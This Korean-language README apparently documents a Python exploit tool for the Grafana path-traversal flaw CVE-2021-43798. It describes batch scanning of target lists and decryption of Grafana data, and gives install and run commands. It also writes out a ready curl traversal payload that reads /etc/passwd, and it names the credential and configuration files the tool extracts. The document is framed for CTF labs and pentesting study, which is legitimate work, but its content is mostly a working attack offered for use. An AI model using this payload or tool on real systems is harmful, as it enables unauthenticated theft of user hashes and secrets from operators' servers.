
📂 Grafana LFI 익스플로잇 (CVE-2021-43798). 자격 증명 및 구성 자동 추출. 🕵️
🚀 Grafana LFI 익스플로잇 (CVE-2021-43798)
Python 3 자동화 스크립트로, Grafana (8.0.0 ~ 8.3.0 버전)의 Local File Inclusion (LFI) 취약점을 악용합니다. 이 익스플로잇은 인증 없이 디렉토리 트래버설을 통해 운영 체제의 민감한 파일을 읽을 수 있습니다.
✨ 특징
Python 3.10+ 호환: 최신 Python 버전에서 작동하도록 패치됨 (collections.Mapping 수정).
일괄 스캔: targets.txt 파일을 통해 여러 대상을 처리할 수 있음.
데이터 복호화: Grafana 세션 및 암호화된 데이터 처리를 위한 모듈 포함.
CTF에 최적화: 깔끔하고 직접적인 출력, HackTheBox 및 TryHackMe와 같은 랩에 적합.
🛠️ 요구 사항 및 설치
오래된 라이브러리 의존성으로 인해 다음 패키지를 설치하는 것이 좋습니다: Bash
pip3 install PyInquirer termcolor requests pycryptodome --break-system-packages
참고: Python 3.10 이상을 사용하는 경우, 스크립트는 collections.abc 호환성을 위한 자동 패치를 포함합니다.
🚀 사용법
1. 대상 설정: targets.txt 파일에 URL (포트 포함)을 추가합니다.
Bash
echo "http://10.129.234.47:3000" > targets.txt
2. 익스플로잇 실행:
Bash
python3 exploit.py
🎯 일반적인 읽기 대상 (LFI)
실행 후, 다음과 같은 중요 파일을 읽을 수 있습니다:
/etc/passwd (시스템 사용자)
/var/lib/grafana/grafana.db (사용자 해시가 포함된 데이터베이스)
/etc/grafana/grafana.ini (구성 및 비밀)
💡 대체 방법 (수동)
스크립트를 사용하지 않으려면 curl을 통해 LFI를 직접 악용할 수 있습니다: Bash
curl --path-as-is "http://<TARGET_IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
⚠️ 면책 조항
이 저장소는 교육 목적으로만 제작되었으며 통제된 환경(CTF, 랩)에서 사용하기 위한 것입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
🏷️ 주제 (태그)
grafana, cve-2021-43798, lfi, exploit, pentesting, hackthebox, python3, directory-traversal